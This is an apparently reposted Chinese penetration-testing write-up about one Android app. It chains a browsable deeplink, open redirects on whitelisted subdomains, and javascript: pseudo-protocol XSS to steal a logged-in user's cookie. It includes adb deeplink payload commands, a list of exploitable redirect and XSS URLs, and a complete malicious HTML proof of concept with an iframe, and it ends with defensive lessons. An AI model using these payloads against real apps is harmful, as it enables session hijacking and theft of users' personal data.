APP漏洞利用组合拳——应用克隆案例分析

栏目: 编程工具 · 发布时间: 4年前

内容简介:在工作中遇到了一次Android应用克隆漏洞的案例,由于攻击过程非常有趣,综合利用了多个中低风险漏洞,产生了化腐朽为神奇的攻击效果。在此分享给大家,以扩展渗透测试思路。攻击者可通过散布恶意构造的HTML文件,来窃取受害者的个人信息。一旦受害者打开该文件,受害者的姓名、手机号、身份证号、交易记录等敏感信息将会被窃取。

一、前言

在工作中遇到了一次Android应用克隆漏洞的案例,由于攻击过程非常有趣,综合利用了多个中低风险漏洞,产生了化腐朽为神奇的攻击效果。在此分享给大家,以扩展渗透测试思路。

APP漏洞利用组合拳——应用克隆案例分析

二、漏洞详情

1. 漏洞介绍

攻击者可通过散布恶意构造的HTML文件,来窃取受害者的个人信息。一旦受害者打开该文件,受害者的姓名、手机号、身份证号、交易记录等敏感信息将会被窃取。

经分析,该APP可被利用的漏洞如表2.1所示。

APP漏洞利用组合拳——应用克隆案例分析

表2.1 APP可被利用的漏洞

2. 漏洞攻击步骤描述

  • 受害者打开APP,正常登录。
  • 回到主页面,APP 切换至后台运行。
  • 受害者访问攻击者发布的恶意链接,访问恶意HTML文件。
  • 访问恶意HTML文件后,屏幕先显示APP页面,然后跳转至空白页面。
  • 之后攻击者在服务器端获取账户信息、交易记录等敏感信息。

大致流程如图2.1所示。

APP漏洞利用组合拳——应用克隆案例分析

图2.1 漏洞攻击流程

三、应用克隆漏洞案例分析

1. Deeplink启动APP

Deeplink简单来说就是让APP开发者能够链接到应用内特定的页面,通过Deeplink可以直接从广告到达商品,移动应用开发者可以再现网页端的体验。而判断一个APP程序有没有使用Deeplink,最简单的方法就是通过反编译APP,在AndroidManifest.xml文件中搜索关键字“android:scheme=”。

针对目标APP的分析:

反编译APP,在AndroidManifest.xml发现一个url scheme存在android.intent.category.BROWSABLE属性,可从浏览器启动。

<activity android:launchMode="singleInstance" android:name="com.xxx.router.RouterActivity" android:screenOrientation="portrait" android:theme="@style/myTransparent"> 
    <intent-filter> 
        <action android:name="android.intent.action.VIEW"/> 
        <category android:name="android.intent.category.DEFAULT"/> 
        <category android:name="android.intent.category.BROWSABLE"/> 
        <data android:scheme="mydeeplink"/> 
    </intent-filter> 
</activity> 

在反编译后的文件夹中搜索关键字mydeeplink,发现一个Deeplink:

mydeeplink://?mydeeplink={url:'/messageCenter/pages/index.html',message_type:'messagecenter'} 

经测试“mydeeplink://”可成功调用APP窗口,使用命令:

adb shell am start -a "android.intent.action.VIEW" -d "mydeeplink://?mydeeplink={url:'/messageCenter/pages/index.html',message_type:'messagecenter'}"。 

2. Deeplink读取本地文件和JS代码执行

既然可以使用Deeplink,那么后续则可以通过Deeplink读取本地文件、执行JS代码,获取用户手机号、身份证号等敏感信息,或者获取Cookie。

漏洞分析过程:

经分析,发现目标APP针对攻击手段进行了一定的防护:

  • 可以使用file://协议,但是被限制了目录,无法读取数据库等文件。
  • 无法直接使用JavaScript代码:。
  • 对请求的URL做了限制,只能请求与APP主域名相关的URL。

详细分析过程如下:

使用Payload:

adb shell am start -a "android.intent.action.VIEW" -d "mydeeplink://?mydeeplink={url:'https://www.baidu.com'}" 

,发现存在一定程度的安全检测,请求被拦截,如图3.1所示。

APP漏洞利用组合拳——应用克隆案例分析

图3.1  URL跳转百度失败

使用Payload:

adb shell am start -a "android.intent.action.VIEW" -d "mydeeplink://?mydeeplink={url:'http://static.xxx.com/m/login.html'}" 

,发现请求成功,据此判断子域名为白名单,如图3.2所示。

APP漏洞利用组合拳——应用克隆案例分析

图3.2  URL跳转子域名成功

3. 任意URL跳转绕过Deeplink白名单

既然子域名是白名单,那么我们可以尝试子域名一些页面的跳转功能(如/index?return=https://www.baidu.com),跳转到我们自己的页面上,从而绕过Deeplink白名单限制。

漏洞分析过程:

在root设备上将APP目录导出到PC上,使用类似grep工具搜索关键字 *.xxx.com、url=、path=、back=、return=,发现多个存在任意URL跳转漏洞或JS代码执行漏洞的URL。

  • https://m.stock.xxx.com/static/router.html?desturl=https://www.baidu.com ,任意URL跳转漏洞和XSS跨站脚本攻击,不能读文件。
  • https://test.xxx.com/ibp/outlets/index.html?returnUrl=javascript:alert(document.cookie),需要点击返回按钮触发跳转,任意URL跳转和XSS跨站脚本攻击,不能读文件。
  • https://static.xxx.com/pages/addRouter.html?url=https://www.baidu.com ,需要点击返回按钮触发跳转,任意URL跳转和XSS跨站脚本攻击,不能读文件。
  • https://static.xxx.com/ pages /entrance.html?discontinueUrl=javascript:alert(document.cookie),需要点击确定按钮,无法任意URL跳转,不能读文件,但是可以执行Javascript;。
  • https://static.xxx.com/ pages/accllation/transit.html?returnUrl=javascript:alert(document.cookie),无法任意URL跳转,不能读文件,但是可以执行Javascript。

Payload示例:adb shell am start -a "android.intent.action.VIEW" -d "mydeeplink://?mydeeplink={url:'https://static.xxx.com/pages/accllation/transit.html?returnUrl=https://www.baidu.com'}" ,可通过命令行启动Android虚拟机中的APP,并访问百度页面,绕过白名单限制,如图3.3所示。

APP漏洞利用组合拳——应用克隆案例分析

图3.3  子域名URL跳转百度成功

4. 构造恶意HTML获取Cookie

结合以上分析过程,通过构造恶意HTML文件,结合Deeplink、白名单绕过和JS代码执行漏洞,获取用户Cookie,使用Cookie获取用户敏感信息。

构造综合利用POC:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
<html xmlns="http://www.w3.org/1999/xhtml"> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title></title> 
</head> 
<body> 
<br/><br/> 
<iframe name="child" width="300" height="300" src="mydeeplink://?mydeeplink={url:' https://static.xxx.com/pages/accllation/transit.html?returnUrl=javascript:alert(document.cookie)'}" style="padding:0px;" ></iframe> 
</body> 
</html> 

在Android模拟器中打开APP,登录账号,然后按Home键返回主界面。

在浏览器中访问构造的恶意HTML链接 http://192.168.96.1/test.html ,自动唤醒APP,待页面加载完毕后,成功弹出Cookie,如图3.4所示。

APP漏洞利用组合拳——应用克隆案例分析

图3.4   获取用户cookie

当然也可以不显示弹窗,直接把Cookie发送到自己的服务器上,以此窃取的Cookie向服务端发起请求,就可以获得该用户的数据了。

四、总结

简单梳理一下整个漏洞利用流程,如图4.1所示。

APP漏洞利用组合拳——应用克隆案例分析

图4.1  漏洞利用流程

从图4.1可见,Intent Scheme、WebView和子域名这三处中任意一处做了有效过滤的话,都可以阻止这次漏洞攻击。另外,在搜索的漏洞URL结果中可以发现,该APP的防护措施是比较完善的,阻止了file协议的文件读取目录,而且部分子域名页面所加载的JS也使用正则表达式做了任意URL跳转的防护,但还是忽略了对伪协议“javascript:”的防范(见图4.2)。

APP漏洞利用组合拳——应用克隆案例分析

图4.2  漏洞触发点

随着业务的拓展,以及网络的不断扩展和日趋复杂,对内、对外服务不断增多,为企业内部制定一个安全编码规范就显得尤为重要。

总之,网络安全路途漫漫,仍然需要我们不断探索,以研究出更利于网络安全的软件。


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

世界因你不同

世界因你不同

李开复、范海涛 / 中信出版社 / 2009-9 / 29.80元

这是李开复唯一的一本自传,字里行间,是岁月流逝中沉淀下来的宝贵的人生智慧和职场经验。捣蛋的“小皇帝”,11岁的“留学生”,奥巴马的大学同学,26岁的副教授,33岁的苹果副总裁,谷歌中国的创始人,他有着太多传奇的经历,为了他,两家最大的IT公司对簿公堂。而他的每一次人生选择,都是一次成功的自我超越。 透过这本自传,李开复真诚讲述了他鲜为人知的成长史、风雨兼程的成功史和烛照人生的心灵史,也首次全......一起来看看 《世界因你不同》 这本书的介绍吧!

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

随机密码生成器
随机密码生成器

多种字符组合密码

HSV CMYK 转换工具
HSV CMYK 转换工具

HSV CMYK互换工具